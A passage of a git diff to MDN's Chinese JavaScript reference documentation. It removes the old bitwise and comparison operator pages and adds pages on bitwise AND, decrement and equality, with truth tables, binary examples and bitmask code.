a & b
+
+ +

描述

+ +

操作数被转换为32位整数,并由一系列位(0和1)表示。 超过32位的数字将丢弃其最高有效位。 例如,以下大于32位的整数将被转换为32位整数:

+ +
Before: 11100110111110100000000000000110000000000001
+After:              10100000000000000110000000000001
+ +

第一个操作数中的每个位都与第二个操作数中的相应位配对:第一位到第一位,第二位到第二位,依此类推。

+ +

将运算符应用于每对位,然后按位构造结果。

+ +

与运算的真值表:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
aba AND b
000
010
100
111
+ +
.    9 (base 10) = 00000000000000000000000000001001 (base 2)
+    14 (base 10) = 00000000000000000000000000001110 (base 2)
+                   --------------------------------
+14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
+
+ +

将任何数字x0进行按位与运算将得出0

+ +

示例

+ +

使用按位与

+ +
// 5: 00000000000000000000000000000101
+// 2: 00000000000000000000000000000010
+5 & 2; // 0
+ +

规范说明

+ + + + + + + + + + + + +
Specification
{{SpecName('ESDraft', '#prod-BitwiseANDExpression', 'Bitwise AND expression')}}
+ +

浏览器兼容性

+ + + +

{{Compat("javascript.operators.bitwise_and")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html b/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html deleted file mode 100644 index 4bdd7a1bc7..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/bitwise_operators/index.html +++ /dev/null @@ -1,756 +0,0 @@ ---- -title: 按位操作符 -slug: Web/JavaScript/Reference/Operators/Bitwise_Operators -tags: - - js ^ & Bitwise Operators -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Bitwise_Operators ---- -
{{jsSidebar("Operators")}}
- -

概述

- -

按位操作符(Bitwise operators) 将其操作数(operands)当作32位的比特序列(由0和1组成),而不是十进制、十六进制或八进制数值。例如,十进制数9,用二进制表示则为1001。按位操作符操作数字的二进制形式,但是返回值依然是标准的JavaScript数值。

- -

下面的表格总结了JavaScript中的按位操作符:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
运算符用法描述
按位与( AND)a & b对于每一个比特位,只有两个操作数相应的比特位都是1时,结果才为1,否则为0。
按位或(OR)a | b对于每一个比特位,当两个操作数相应的比特位至少有一个1时,结果为1,否则为0。
按位异或(XOR)a ^ b对于每一个比特位,当两个操作数相应的比特位有且只有一个1时,结果为1,否则为0。
按位非(NOT)~ a反转操作数的比特位,即0变成1,1变成0。
左移(Left shift)a << b将 a 的二进制形式向左移 b (< 32) 比特位,右边用0填充。
有符号右移a >> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位。
无符号右移a >>> b将 a 的二进制表示向右移 b (< 32) 位,丢弃被移出的位,并使用 0 在左侧填充。
- -

有符号32位整数

- -

所有的按位操作符的操作数都会被转成补码(two's complement)形式的有符号32位整数。补码形式是指一个数的负对应值(negative counterpart)(如 5和-5)为数值的所有比特位反转后,再加1。反转比特位即该数值进行’非‘位运算,也即该数值的反码。例如下面为整数314的二进制编码:

- -
00000000000000000000000100111010
-
- -

下面编码 ~314,即 314 的反码:

- -
11111111111111111111111011000101
-
- -

最后,下面编码 -314,即 314 的反码再加1:

- -
11111111111111111111111011000110
-
- -

补码保证了当一个数是正数时,其最左的比特位是0,当一个数是负数时,其最左的比特位是1。因此,最左边的比特位被称为符号位(sign bit)。

- -

0 是所有比特数字0组成的整数。

- -
0 (base 10) = 00000000000000000000000000000000 (base 2)
-
- -

-1 是所有比特数字1组成的整数。

- -
-1 (base 10) = 11111111111111111111111111111111 (base 2)
-
- -

-2147483648(十六进制形式:-0x80000000)是除了最左边为1外,其他比特位都为0的整数。

- -
-2147483648 (base 10) = 10000000000000000000000000000000 (base 2)
-
- -

2147483647(十六进制形式:0x7fffffff)是除了最左边为0外,其他比特位都为1的整数。

- -
2147483647 (base 10) = 01111111111111111111111111111111 (base 2)
-
- -

数字-21474836482147483647 是32位有符号数字所能表示的最小和最大整数。

- -

按位逻辑操作符

- -

从概念上讲,按位逻辑操作符按遵守下面规则:

- -
    -
  • 操作数被转换成32位整数,用比特序列(0和1组成)表示。超过32位的数字会被丢弃。
    - 例如, 以下具有32位以上的整数将转换为32位整数:
  • -
  • -
    转换前: 11100110111110100000000000000110000000000001
    -转换后:             10100000000000000110000000000001
    -
  • -
  • 第一个操作数的每个比特位与第二个操作数的相应比特位匹配:第一位对应第一位,第二位对应第二位,以此类推。
  • -
  • 位运算符应用到每对比特位,结果是新的比特值。
  • -
- -

& (按位与)

- -

对每对比特位执行与(AND)操作。只有 a 和 b 都是 1 时,a AND b 才是 1。与操作的真值表如下:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba AND b
000
010
100
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 & 9 (base 10) = 00000000000000000000000000001000 (base 2) = 8 (base 10)
-
- -

将任一数值 x 与 0 执行按位与操作,其结果都为 0。将任一数值 x 与 -1 执行按位与操作,其结果都为 x。

- -

| (按位或)

- -

对每一对比特位执行或(OR)操作。如果 a 或 b 为 1,则 a OR b 结果为 1。或操作的真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba OR b
000
011
101
111
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 | 9 (base 10) = 00000000000000000000000000001111 (base 2) = 15 (base 10)
-
- -

将任一数值 x 与 0 进行按位或操作,其结果都是 x。将任一数值 x 与 -1 进行按位或操作,其结果都为 -1。

- -

补充一些例子:

- -
1 | 0 ;                       // 1
-
-1.1 | 0 ;                     // 1
-
-'asfdasfda' | 0 ;             // 0
-
-0 | 0 ;                       // 0
-
-(-1) | 0 ;                    // -1
-
-(-1.5646) | 0 ;               // -1
-
-[] | 0 ;                      // 0
-
-({}) | 0 ;                    // 0
-
-"123456" | 0 ;            // 123456
-
-1.23E2 | 0;               // 123
-
-1.23E12 | 0;              // 1639353344
-
--1.23E2 | 0;              // -123
-
--1.23E12 | 0;             // -1639353344
- -

^ (按位异或)

- -

对每一对比特位执行异或(XOR)操作。当 a 和 b 不相同时,a XOR b 的结果为 1。异或操作真值表:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba XOR b
000
011
101
110
- -
     9 (base 10) = 00000000000000000000000000001001 (base 2)
-    14 (base 10) = 00000000000000000000000000001110 (base 2)
-                   --------------------------------
-14 ^ 9 (base 10) = 00000000000000000000000000000111 (base 2) = 7 (base 10)
-
- -

将任一数值 x 与 0 进行异或操作,其结果为 x。将任一数值 x 与 -1 进行异或操作,其结果为 ~x。

- -

~ (按位非)

- -

对每一个比特位执行非(NOT)操作。NOT a 结果为 a 的反转(即反码)。非操作的真值表:

- - - - - - - - - - - - - - - - -
aNOT a
01
10
- -
 9 (base 10) = 00000000000000000000000000001001 (base 2)
-               --------------------------------
-~9 (base 10) = 11111111111111111111111111110110 (base 2) = -10 (base 10)
-
- -

对任一数值 x 进行按位非操作的结果为 -(x + 1)。例如,~5 结果为 -6。

- -

与 indexOf 一起使用示例:

- -
var str = 'rawr';
-var searchFor = 'a';
-
-// 这是 if (-1*str.indexOf('a') <= 0) 条件判断的另一种方法
-if (~str.indexOf(searchFor)) {
-  // searchFor 包含在字符串中
-} else {
-  // searchFor 不包含在字符串中
-}
-
-// (~str.indexOf(searchFor))的返回值
-// r == -1
-// a == -2
-// w == -3
-
- -

按位移动操作符

- -

按位移动操作符有两个操作数:第一个是要被移动的数字,而第二个是要移动的长度。移动的方向根据操作符的不同而不同。

- -

按位移动会先将操作数转换为大端字节序顺序(big-endian order)的32位整数,并返回与左操作数相同类型的结果。右操作数应小于 32位,否则只有最低 5 个字节会被使用。

- -
注:Big-Endian:高位字节排放在内存的低地址端,低位字节排放在内存的高地址端,
-又称为"高位编址"。
-Big-Endian是最直观的字节序:
-①把内存地址从左到右按照由低到高的顺序写出;
-②把值按照通常的高位到低位的顺序写出;
-③两者对照,一个字节一个字节的填充进去。
- -

<< (左移)

- -

该操作符会将第一个操作数向左移动指定的位数。向左被移出的位被丢弃,右侧用 0 补充。

- -

For example, 9 << 2 yields 36:

- -
     9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 << 2 (base 10): 00000000000000000000000000100100 (base 2) = 36 (base 10)
-
- -

在数字 x 上左移 y 比特得到 x * 2y.

- -

>> (有符号右移)

- -

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,拷贝最左侧的位以填充左侧。由于新的最左侧的位总是和以前相同,符号位没有被改变。所以被称作“符号传播”。

- -

例如, 9 >> 2 得到 2:

- -
     9 (base 10): 00000000000000000000000000001001 (base 2)
-                  --------------------------------
-9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

相比之下, -9 >> 2 得到 -3,因为符号被保留了。

- -
     -9 (base 10): 11111111111111111111111111110111 (base 2)
-                   --------------------------------
--9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10)
-
- -

>>> (无符号右移)

- -

该操作符会将第一个操作数向右移动指定的位数。向右被移出的位被丢弃,左侧用0填充。因为符号位变成了 0,所以结果总是非负的。(译注:即便右移 0 个比特,结果也是非负的。)

- -

对于非负数,有符号右移和无符号右移总是返回相同的结果。例如 9 >>> 29 >> 2 一样返回 2:

- -
      9 (base 10): 00000000000000000000000000001001 (base 2)
-                   --------------------------------
-9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10)
-
- -

但是对于负数却不尽相同。 -9 >>> 2 产生 1073741821 这和 -9 >> 2 不同:

- -
      -9 (base 10): 11111111111111111111111111110111 (base 2)
-                    --------------------------------
--9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10)
-
- -

示例

- -

例子:标志位与掩码

- -

位运算经常被用来创建、处理以及读取标志位序列——一种类似二进制的变量。虽然可以使用变量代替标志位序列,但是这样可以节省内存(1/32)。

- -

例如,有 4 个标志位:

- -
    -
  • 标志位 A:我们有 ant
  • -
  • 标志位 B:我们有 bat
  • -
  • 标志位 C:我们有 cat
  • -
  • 标志位 D:我们有 duck
  • -
- -

标志位通过位序列 DCBA 来表示。当一个位被置位 (set) 时,它的值为 1 。当被清除 (clear) 时,它的值为 0 。例如一个变量 flags 的二进制值为 0101:

- -
var flags = 5;   // 二进制 0101
-
- -

这个值表示:

- -
    -
  • 标志位 A 是 true (我们有 ant);
  • -
  • 标志位 B 是 false (我们没有 bat);
  • -
  • 标志位 C 是 true (我们有 cat);
  • -
  • 标志位 D 是 false (我们没有 duck);
  • -
- -

因为位运算是 32 位的, 0101 实际上是 00000000000000000000000000000101。因为前面多余的 0 没有任何意义,所以他们可以被忽略。

- -

掩码 (bitmask) 是一个通过与/或来读取标志位的位序列。典型的定义每个标志位的原语掩码如下:

- -
var FLAG_A = 1; // 0001
-var FLAG_B = 2; // 0010
-var FLAG_C = 4; // 0100
-var FLAG_D = 8; // 1000
-
- -

新的掩码可以在以上掩码上使用逻辑运算创建。例如,掩码 1011 可以通过 FLAG_A、FLAG_B 和 FLAG_D 逻辑或得到:

- -
var mask = FLAG_A | FLAG_B | FLAG_D; // 0001 | 0010 | 1000 => 1011
-
- -

某个特定的位可以通过与掩码做逻辑与运算得到,通过与掩码的与运算可以去掉无关的位,得到特定的位。例如,掩码 0100 可以用来检查标志位 C 是否被置位:

- -
// 如果我们有 cat
-if (flags & FLAG_C) { // 0101 & 0100 => 0100 => true
-   // do stuff
-}
-
- -

一个有多个位被置位的掩码表达任一/或者的含义。例如,以下两个表达是等价的:

- -
// 如果我们有 bat 或者 cat 至少一个
-// (0101 & 0010) || (0101 & 0100) => 0000 || 0100 => true
-if ((flags & FLAG_B) || (flags & FLAG_C)) {
-   // do stuff
-}
-
- -
// 如果我们有 bat 或者 cat 至少一个
-var mask = FLAG_B | FLAG_C; // 0010 | 0100 => 0110
-if (flags & mask) { // 0101 & 0110 => 0100 => true
-   // do stuff
-}
-
- -

可以通过与掩码做或运算设置标志位,掩码中为 1 的位可以设置对应的位。例如掩码 1100 可用来设置位 C 和 D:

- -
// 我们有 cat 和 duck
-var mask = FLAG_C | FLAG_D; // 0100 | 1000 => 1100
-flags |= mask;   // 0101 | 1100 => 1101
-
- -

可以通过与掩码做与运算清除标志位,掩码中为 0 的位可以设置对应的位。掩码可以通过对原语掩码做非运算得到。例如,掩码 1010 可以用来清除标志位 A 和 C :

- -
// 我们没有 ant 也没有 cat
-var mask = ~(FLAG_A | FLAG_C); // ~0101 => 1010
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

如上的掩码同样可以通过 ~FLAG_A & ~FLAG_C 得到(德摩根定律):

- -
// 我们没有 ant 也没有 cat
-var mask = ~FLAG_A & ~FLAG_C;
-flags &= mask;   // 1101 & 1010 => 1000
-
- -

标志位可以使用异或运算切换。所有值为 1 的位可以切换对应的位。例如,掩码 0110 可以用来切换标志位 B 和 C:

- -
// 如果我们以前没有 bat ,那么我们现在有 bat
-// 但是如果我们已经有了一个,那么现在没有了
-// 对 cat 也是相同的情况
-var mask = FLAG_B | FLAG_C;
-flags = flags ^ mask;   // 1100 ^ 0110 => 1010
-
- -

最后,所有标志位可以通过非运算翻转:

- -
// entering parallel universe...
-flags = ~flags;    // ~1010 => 0101
-
- -

转换片段

- -

将一个二进制数的 String 转换为十进制的 Number:

- -
var sBinString = "1011";
-var nMyNumber = parseInt(sBinString, 2);
-alert(nMyNumber); // 打印 11
-
- -

将一个十进制的 Number 转换为二进制数的 String:

- -
var nMyNumber = 11;
-var sBinString = nMyNumber.toString(2);
-alert(sBinString); // 打印 1011
-
- -

自动化掩码创建

- -

如果你需要从一系列的 Boolean 值创建一个掩码,你可以:

- -
function createMask () {
-  var nMask = 0, nFlag = 0, nLen = arguments.length > 32 ? 32 : arguments.length;
-  for (nFlag; nFlag < nLen; nMask |= arguments[nFlag] << nFlag++);
-  return nMask;
-}
-var mask1 = createMask(true, true, false, true); // 11, i.e.: 1011
-var mask2 = createMask(false, false, true); // 4, i.e.: 0100
-var mask3 = createMask(true); // 1, i.e.: 0001
-// etc.
-
-alert(mask1); // 打印 11
-
- -

逆算法:从掩码得到布尔数组

- -

如果你希望从掩码得到得到 Boolean Array

- -
function arrayFromMask (nMask) {
-  // nMask 必须介于 -2147483648 和 2147483647 之间
-  if (nMask > 0x7fffffff || nMask < -0x80000000) {
-    throw new TypeError("arrayFromMask - out of range");
-  }
-  for (var nShifted = nMask, aFromMask = []; nShifted;
-       aFromMask.push(Boolean(nShifted & 1)), nShifted >>>= 1);
-  return aFromMask;
-}
-
-var array1 = arrayFromMask(11);
-var array2 = arrayFromMask(4);
-var array3 = arrayFromMask(1);
-
-alert("[" + array1.join(", ") + "]");
-// 打印 "[true, true, false, true]", i.e.: 11, i.e.: 1011
-
- -

你可以同时测试以上两个算法……

- -
var nTest = 19; // our custom mask
-var nResult = createMask.apply(this, arrayFromMask(nTest));
-
-alert(nResult); // 19
-
- -

仅仅由于教学目的 (因为有 Number.toString(2) 方法),我们展示如何修改 arrayFromMask 算法通过 Number 返回二进制的 String,而非 Boolean Array:

- -
function createBinaryString (nMask) {
-  // nMask must be between -2147483648 and 2147483647
-  for (var nFlag = 0, nShifted = nMask, sMask = ""; nFlag < 32;
-       nFlag++, sMask += String(nShifted >>> 31), nShifted <<= 1);
-  return sMask;
-}
-
-var string1 = createBinaryString(11);
-var string2 = createBinaryString(4);
-var string3 = createBinaryString(1);
-
-alert(string1);
-// 打印 00000000000000000000000000001011, i.e. 11
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition.
{{SpecName('ES5.1', '#sec-11.4.8', 'Bitwise NOT operator')}}
- {{SpecName('ES5.1', '#sec-11.7', 'Bitwise shift operators')}}
- {{SpecName('ES5.1', '#sec-11.10', 'Binary bitwise operators')}}
{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-bitwise-not-operator', 'Bitwise NOT operator')}}
- {{SpecName('ES6', '#sec-bitwise-shift-operators', 'Bitwise shift operators')}}
- {{SpecName('ES6', '#sec-binary-bitwise-operators', 'Binary bitwise operators')}}
{{Spec2('ES6')}}
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Bitwise NOT (~){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise AND (&){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise OR (|){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Bitwise XOR (^){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Left shift (<<){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Right shift (>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Unsigned right shift (>>>){{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
-
- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html b/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html deleted file mode 100644 index 5ddf85f426..0000000000 --- a/files/zh-cn/web/javascript/reference/operators/comparison_operators/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: 比较操作符 -slug: Web/JavaScript/Reference/Operators/Comparison_Operators -tags: - - 严格比较操作符 - - 比较操作符 -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators ---- -
{{jsSidebar("Operators")}}
- -

JavaScript 有两种比较方式:严格比较运算符和转换类型比较运算符。对于严格比较运算符(===)来说,仅当两个操作数的类型相同且值相等为 true,而对于被广泛使用的比较运算符(==)来说,会在进行比较之前,将两个操作数转换成相同的类型。对于关系运算符(比如 <=)来说,会先将操作数转为原始值,使它们类型相同,再进行比较运算。

- -

字符串比较则是使用基于标准字典的 Unicode 值来进行比较的。

- -

比较的特点:

- -
    -
  • 对于两个拥有相同字符顺序,相同长度,并且每个字符的位置都匹配的字符串,应该使用严格比较运算符。
  • -
  •  对于两个数值相同的数字应该使用严格比较运算符,NaN和任何值不相等,包括其自身,正数零等于负数零。
  • -
  • 对于两个同为true或同为false的布尔操作数,应使用严格比较运算符。
  • -
  • 不要使用严格比较运算符或比较运算符来比较两个不相等的对象。
  • -
  • 当比较一个表达式和一个对象时,仅当两个操作数引用相同的对象(指针指向相同对象)。
  • -
  • 对于Null 和 Undefined 类型而言,应使用严格比较运算符比较其自身,使用比较运算符进行互相比较。
  • -
- -

相等运算符

- -

相等(==)

- -

比较操作符会为两个不同类型的操作数转换类型,然后进行严格比较。当两个操作数都是对象时,JavaScript会比较其内部引用,当且仅当他们的引用指向内存中的相同对象(区域)时才相等,即他们在栈内存中的引用地址相同。

- -

语法

- -
x == y
-
- -

例子

- -
 1   ==  1     // true
-"1"  ==  1     // true
- 1   == '1'    // true
- 0   == false  // true
-
- -

不相等 (!=)

- -

不等操作符仅当操作数不相等时返回true,如果两操作数不是同一类型,JavaScript会尝试将其转为一个合适的类型,然后进行比较。如果两操作数为对象类型,JavaScript会比较其内部引用地址,仅当他们在内存中引用不同对象时不相等。

- -

语法

- -
x != y
- -

例子

- -
1 !=   2     // true
-1 !=  "1"    // false
-1 !=  '1'    // false
-1 !=  true   // false
-0 !=  false  // false
-
- -

一致/严格相等 (===)

- -

一致运算符不会进行类型转换,仅当操作数严格相等时返回true

- -

语法

- -
x === y
- -

例子

- -
3 === 3   // true
-3 === '3' // false
-var object1 = {"value":"key"}, object2={"value":"key"};
-object1 === object2 //false
- -

不一致/严格不相等 (!==)

- -

不一致运算符当操作数不相等或不同类型时返回true

- -

语法

- -
x !== y
- -

例子

- -
3 !== '3' // true
-4 !== 3   // true
-
- -

关系运算符

- -

大于运算符 (>)

- -

大于运算符仅当左操作数大于右操作数时返回true

- -

语法

- -
x > y
- -

例子

- -
4 > 3 // true
-
- -

大于等于运算符 (>=)

- -

大于等于运算符当左操作数大于或等于右操作数时返回true

- -

语法

- -
 x >= y
- -

例子

- -
4 >= 3 // true
-3 >= 3 // true
-
- -

小于运算符 (<)

- -

小于运算符仅当左操作数小于右操作数时返回true

- -

语法

- -
 x < y
- -

例子

- -
3 < 4 // true
-
- -

小于等于运算符 (<=)

- -

小于等于运算符当左操作数小于或等于右操作数时返回true

- -

语法

- -
 x <= y
- -

例子

- -
3 <= 4 // true
-
- -

使用比较操作符

- -

标准相等操作符(== and !=) 使用 Abstract Equality Comparison Algorithm 去比较两个操作数。当两个操作数类型不相等时,会在比较前尝试将其转换为相同类型。 e.g., 对于表达式 5 == '5', 在比较前会先将右边字符串类型的操作数 5 转换为数字。

- -

严格相等操作符 (=== and !==) 使用 Strict Equality Comparison Algorithm 并尝试对两个相同操作数进行相等比较,如果它们的类型不相等,那么永远会返回false 所以 5 !== '5'。

- -

当需要明确操作数的类型和值的时候,或者操作数的确切类型非常重要时,应使用严格相等操作符。否则,当你允许操作数在比较前进行类型转换时,可以使用标准相等操作符来比较。

- -

当比较运算涉及类型转换时 (i.e., non–strict comparison), JavaScript 会按以下规则对字符串,数字,布尔或对象类型的操作数进行操作:

- -
    -
  • 当比较数字和字符串时,字符串会转换成数字值。 JavaScript 尝试将数字字面量转换为数字类型的值。 首先, 一个数学上的值会从数字字面量中衍生出来,然后这个值将被转为一个最接近的Number类型的值。
  • -
  • 如果其中一个操作数为布尔类型,那么布尔操作数如果为true,那么会转换为1,如果为false,会转换为整数0,即0。
  • -
  • 如果一个对象与数字或字符串相比较,JavaScript会尝试返回对象的默认值。操作符会尝试通过方法valueOf和toString将对象转换为其原始值(一个字符串或数字类型的值)。如果尝试转换失败,会产生一个运行时错误。
  • -
  • 注意:当且仅当与原始值比较时,对象会被转换为原始值。当两个操作数均为对象时,它们作为对象进行比较,仅当它们引用相同对象时返回true。
  • -
- -
注意: 字符串对象的类型是对象,不是字符串!字符串对象很少被使用,所以下面的结果也许会让你惊讶:
- -
// true as both operands are Type String (i.e. string primitives):
-'foo' === 'foo'
-
-var a = new String('foo');
-var b = new String('foo');
-
-// false as a and b are Type Object and reference different objects
-a == b
-
-// false as a and b are Type Object and reference different objects
-a === b
-
-// true as a and 'foo' are of different type and, the Object (a)
-// is converted to String 'foo' before comparison
-a == 'foo' 
- -

Specifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
ECMAScript 1st Edition.StandardInitial definition. Implemented in JavaScript 1.0
ECMAScript 3rd Edition.StandardAdds === and !== operators. Implemented in JavaScript 1.3
{{SpecName('ES5.1', '#sec-11.8', 'Relational Operators')}}
- {{SpecName('ES5.1', '#sec-11.9', 'Equality Operators')}}
{{Spec2('ES5.1')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}
- {{SpecName('ES6', '#sec-equality-operators', 'Equality Operators')}}
{{Spec2('ES6')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
{{SpecName('ESDraft', '#sec-relational-operators')}}{{Spec2('ESDraft')}}Defined in several sections of the specification: Relational OperatorsEquality Operators
- -

Browser compatibility

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

See also

- - diff --git a/files/zh-cn/web/javascript/reference/operators/decrement/index.html b/files/zh-cn/web/javascript/reference/operators/decrement/index.html new file mode 100644 index 0000000000..f405740df3 --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/decrement/index.html @@ -0,0 +1,85 @@ +--- +title: 自减 (--) +slug: Web/JavaScript/Reference/Operators/自减 +tags: + - JavaScript + - 自减 + - 语法特性 + - 运算符 +translation_of: Web/JavaScript/Reference/Operators/Decrement +--- +
{{jsSidebar("Operators")}}
+ +

 自减运算符(--) 将它的操作数减一,然后返回操作数.

+ +
{{EmbedInteractiveExample("pages/js/expressions-decrement.html")}}
+ +
+ + + +


+ 语法

+ +
操作符: x-- or --x
+
+ +

语法细节

+ +

如果使用后缀式,即将操作符放在操作数的后面 (如,x--),运算会减一,然后返回减一之前的值。

+ +

如果使用前缀式,即将操作符放在操作数的前面 (如,--x),运算会减一,然后返回减一之后的值。

+ +

示例

+ +

后缀式

+ +
let x = 3;
+y = x--;
+
+// y = 3
+// x = 2
+
+ +

前缀式

+ +
let a = 2;
+b = --a;
+
+// a = 1
+// b = 1
+
+ +

规范

+ + + + + + + + + + +
规范
{{SpecName('ESDraft', '#sec-postfix-decrement-operator', '自减运算符')}}
+ +


+ 浏览器兼容性

+ + + +

{{Compat("javascript.operators.decrement")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/javascript/reference/operators/equality/index.html b/files/zh-cn/web/javascript/reference/operators/equality/index.html new file mode 100644 index 0000000000..e100ec1d2d --- /dev/null +++ b/files/zh-cn/web/javascript/reference/operators/equality/index.html @@ -0,0 +1,125 @@ +--- +title: 相等(==) +slug: Web/JavaScript/Reference/Operators/相等 +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Operators/Equality +--- +
{{jsSidebar("Operators")}}
+ +

等于运算符(==)检查其两个操作数是否相等,并返回Boolean结果。与严格相等运算符(===)不同,它会尝试强制类型转换并且比较不同类型的操作数。

+ +
{{EmbedInteractiveExample("pages/js/expressions-equality.html")}}
+ +

语法

+ +
x == y
+
+ +

描述

+ +

相等运算符(==!=)使用抽象相等比较算法比较两个操作数。可以大致概括如下:

+ +
    +
  • 如果两个操作数都是对象,则仅当两个操作数都引用同一个对象时才返回true
  • +
  • 如果一个操作数是null,另一个操作数是undefined,则返回true
  • +
  • 如果两个操作数是不同类型的,就会尝试在比较之前将它们转换为相同类型: +
      +
    • 当数字与字符串进行比较时,会尝试将字符串转换为数字值。
    • +
    • 如果操作数之一是Boolean,则将布尔操作数转换为1或0。 +
        +
      • 如果是true,则转换为1
      • +
      • 如果是 false,则转换为0
      • +
      +
    • +
    • 如果操作数之一是对象,另一个是数字或字符串,会尝试使用对象的valueOf()toString()方法将对象转换为原始值。
    • +
    +
  • +
  • 如果操作数具有相同的类型,则将它们进行如下比较: +
      +
    • Stringtrue仅当两个操作数具有相同顺序的相同字符时才返回。
    • +
    • Numbertrue仅当两个操作数具有相同的值时才返回。+0并被-0视为相同的值。如果任一操作数为NaN,则返回false
    • +
    • Booleantrue仅当操作数为两个true或两个false时才返回true
    • +
    +
  • +
+ +

